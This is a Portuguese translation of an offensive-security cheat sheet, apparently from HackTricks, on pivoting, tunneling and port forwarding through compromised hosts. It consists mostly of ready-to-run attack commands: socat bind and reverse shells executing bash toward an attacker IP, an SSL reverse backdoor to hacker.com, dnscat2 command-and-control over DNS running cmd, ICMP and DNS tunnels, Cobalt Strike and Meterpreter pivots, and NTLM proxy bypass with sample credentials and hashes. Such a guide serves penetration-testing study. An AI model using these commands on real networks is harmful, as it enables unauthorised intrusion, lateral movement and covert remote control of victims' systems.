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# Tunelamento e Encaminhamento de Porta
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< details >
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< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks ](https://github.com/carlospolop/hacktricks ) e [repositório hacktricks-cloud ](https://github.com/carlospolop/hacktricks-cloud )**.
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< / details >
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**Grupo de Segurança Try Hard**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
***
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## Dica do Nmap
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{% hint style="warning" %}
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**ICMP** e **SYN** scans não podem ser tunelados por meio de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
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{% endhint %}
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## **Bash**
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**Host -> Salto -> InternoA -> InternoB**
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```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
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nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
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# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
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exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
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# From the host, you can now access InternalB from the Jump server
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evil-winrm -u username -i Jump
```
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## **SSH**
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Conexão gráfica SSH (X)
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```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
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### Porta Local para Porta
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Abrir uma nova porta no Servidor SSH --> Outra porta
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```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
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### Porta a Porta
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Porta local --> Host comprometido (SSH) --> Terceira\_caixa:Porta
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```bash
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ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
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#Example
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sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
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```
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### Port2hostnet (proxychains)
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Porta Local --> Host Comprometido (SSH) --> Para onde quer que seja
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```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
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### Encaminhamento de Porta Reversa
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Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
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```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
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# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
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# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
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### VPN-Tunnel
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É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\
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`PermitRootLogin yes` \
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`PermitTunnel yes`
```bash
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ssh root@server -w any:any #This will create Tun interfaces in both devices
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ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
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ifconfig tun0 up #Activate the client side network interface
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ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
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ifconfig tun0 up #Activate the server side network interface
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```
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Ative o encaminhamento no lado do Servidor
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```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
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Defina uma nova rota no lado do cliente
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```
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route add -net 10.0.0.0/16 gw 1.1.1.1
```
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## SSHUTTLE
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Você pode **tunelar** todo o **tráfego** para uma **sub-rede** através de um host usando **ssh** .\
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Por exemplo, encaminhando todo o tráfego destinado a 10.10.10.0/24
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```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
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Conectar com uma chave privada
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```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
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## Meterpreter
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### Port2Port
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Porta local --> Host comprometido (sessão ativa) --> Terceiro\_host:Porta
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```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
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### SOCKS
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SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre clientes e servidores através de um firewall. Ele atua como um intermediário que encaminha o tráfego de rede entre o cliente e o servidor, permitindo a conexão a partir de uma rede interna ou privada. O SOCKS opera na camada 5 do modelo OSI (camada de sessão) e pode ser usado para realizar tunneling e port forwarding.
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```bash
background# meterpreter session
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route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
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run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
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Outra maneira:
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```bash
background #meterpreter session
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use post/multi/manage/autoroute
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set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
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use auxiliary/server/socks_proxy
set VERSION 4a
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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## Cobalt Strike
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### Proxy SOCKS
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Abra uma porta no teamserver ouvindo em todas as interfaces que podem ser usadas para **rotear o tráfego através do beacon** .
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```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
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### rPort2Port
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{% hint style="warning" %}
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Neste caso, a **porta é aberta no host de beacon** , não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado.
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{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
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### rPort2Port local
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{% hint style="warning" %}
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Neste caso, a **porta é aberta no host do beacon** , não no Team Server e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Team Server) e a partir daí para o host:porta indicado.
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{% endhint %}
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```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
## reGeorg
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[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
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Você precisa fazer upload de um arquivo de túnel da web: ashx|aspx|js|jsp|php|php|jsp
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```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
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## Chisel
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Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )\
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Você precisa usar a **mesma versão para cliente e servidor**
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### socks
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```bash
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./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
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#And now you can use proxychains with port 1080 (default)
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./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
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```
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### Encaminhamento de porta
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```bash
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
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```
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## Rpivot
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[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
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Túnel reverso. O túnel é iniciado a partir da vítima.\
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Um proxy socks4 é criado em 127.0.0.1:1080
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```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
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Pivot através de **proxy NTLM**
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```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
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## **Socat**
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[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
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### Conexão de Bind
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```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
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```
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### Shell reverso
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```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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### Porta a Porta
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```bash
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socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
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```
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### Porta a Porta através de socks
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```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
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### Meterpreter através de SSL Socat
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```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
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Você pode contornar um **proxy não autenticado** executando esta linha em vez da última no console da vítima:
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```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
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[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
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### Túnel SSL com Socat
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**Console /bin/sh**
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Criar certificados em ambos os lados: Cliente e Servidor
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```bash
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# Execute these commands on both sides
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FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
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### Porta a Porta Remoto
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Conecte a porta SSH local (22) à porta 443 do host atacante
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```bash
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attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
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attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
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## Plink.exe
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É como uma versão console do PuTTY (as opções são muito semelhantes a um cliente ssh).
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Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, encaminhe apenas a porta acessível localmente para uma porta em nossa máquina:
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```bash
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echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
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```
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## Windows netsh
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### Port2Port
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É necessário ser um administrador local (para qualquer porta)
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```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
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netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
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# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
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## SocksOverRDP & Proxifier
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É necessário ter **acesso RDP sobre o sistema** .\
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Download:
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1. [Binários SocksOverRDP x64 ](https://github.com/nccgroup/SocksOverRDP/releases ) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP** .
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2. [Binário Portátil do Proxifier ](https://www.proxifier.com/download/#win-tab )
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No seu computador cliente, carregue ** `SocksOverRDP-Plugin.dll` ** assim:
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```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
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Agora podemos **conectar** à **vítima** via **RDP** usando ** `mstsc.exe` **, e devemos receber um **prompt** informando que o plugin **SocksOverRDP está habilitado** , e ele irá **escutar** em **127.0.0.1:1080** .
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**Conecte** via **RDP** e faça upload e execute na máquina da vítima o binário `SocksOverRDP-Server.exe` :
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```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
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Agora, confirme em sua máquina (atacante) que a porta 1080 está ouvindo:
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```
netstat -antb | findstr 1080
```
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Agora você pode usar [**Proxifier** ](https://www.proxifier.com/ ) **para encaminhar o tráfego por meio dessa porta.**
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## Proxificar Aplicativos GUI do Windows
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Você pode fazer com que aplicativos GUI do Windows naveguem por um proxy usando [**Proxifier** ](https://www.proxifier.com/ ).\
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Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\
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Em **Profile -> Proxification Rules** adicione o nome do programa para proxificar e as conexões para os IPs que deseja proxificar.
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## Bypass de proxy NTLM
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A ferramenta mencionada anteriormente: **Rpivot** \
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**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
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```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
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### Cntlm
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[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
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Autentica-se contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Em seguida, você pode usar a ferramenta de sua escolha por meio desta porta.\
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Por exemplo, encaminhar a porta 443.
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```
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Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
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Tunnel 2222:< attackers_machine > :443
```
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Agora, se você definir, por exemplo, na vítima o serviço **SSH** para ouvir na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
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Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está ouvindo na porta 2222.
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## YARP
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Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
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## DNS Tunneling
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### Iodine
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[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
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É necessário ter acesso de root em ambos os sistemas para criar adaptadores tun e tunelar dados entre eles usando consultas DNS.
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```
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attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
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O túnel será muito lento. Você pode criar uma conexão SSH comprimida através deste túnel usando:
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```
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ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
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### DNSCat2
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[**Baixe-o aqui** ](https://github.com/iagox86/dnscat2 )**.**
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Estabelece um canal de C\&C através do DNS. Não necessita de privilégios de root.
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```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
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# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
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```
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#### **No PowerShell**
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Você pode usar [**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell ) para executar um cliente dnscat2 no powershell:
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```
Import-Module .\dnscat2.ps1
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Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
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```
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#### **Encaminhamento de porta com dnscat**
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```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
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#### Alterar o DNS do proxychains
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O Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão** , o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para alterá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e mude o IP. Se estiver em um ambiente **Windows** , você pode definir o IP do **controlador de domínio** .
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## Túneis em Go
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[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
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## Tunelamento ICMP
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### Hans
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[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
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[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
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É necessário ter acesso de root em ambos os sistemas para criar adaptadores tun e encaminhar dados entre eles usando solicitações de eco ICMP.
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```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
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### ptunnel-ng
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[**Baixe-o aqui** ](https://github.com/utoni/ptunnel-ng.git ).
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```bash
# Generate it
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sudo ./autogen.sh
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# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
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## ngrok
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**[ngrok](https://ngrok.com/) é uma ferramenta para expor soluções para a Internet em uma linha de comando.**
*URIs de exposição são como:* **UID.ngrok.io**
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### Instalação
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- Criar uma conta: https://ngrok.com/signup
- Download do cliente:
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```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
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### Usos básicos
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**Documentação:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
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*Também é possível adicionar autenticação e TLS, se necessário.*
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#### Tunelamento TCP
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```bash
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# Pointing to 0.0.0.0:4444
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./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
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#### Expondo arquivos com HTTP
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```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
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#### Capturando chamadas HTTP
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*Útil para XSS, SSRF, SSTI ...*
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Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040 ](http://127.0.0.1:4000 ).
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#### Tunelamento de serviço HTTP interno
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```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
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#### Exemplo de configuração simples do ngrok.yaml
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Ele abre 3 túneis:
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- 2 TCP
- 1 HTTP com exposição de arquivos estáticos em /tmp/httpbin/
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```yaml
tunnels:
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mytcp:
addr: 4444
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proto: tcptunne
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anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## Outras ferramentas para verificar
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* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
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**Grupo de Segurança Try Hard**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
***
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< details >
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< summary > < strong > Aprenda hacking na AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
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< / details >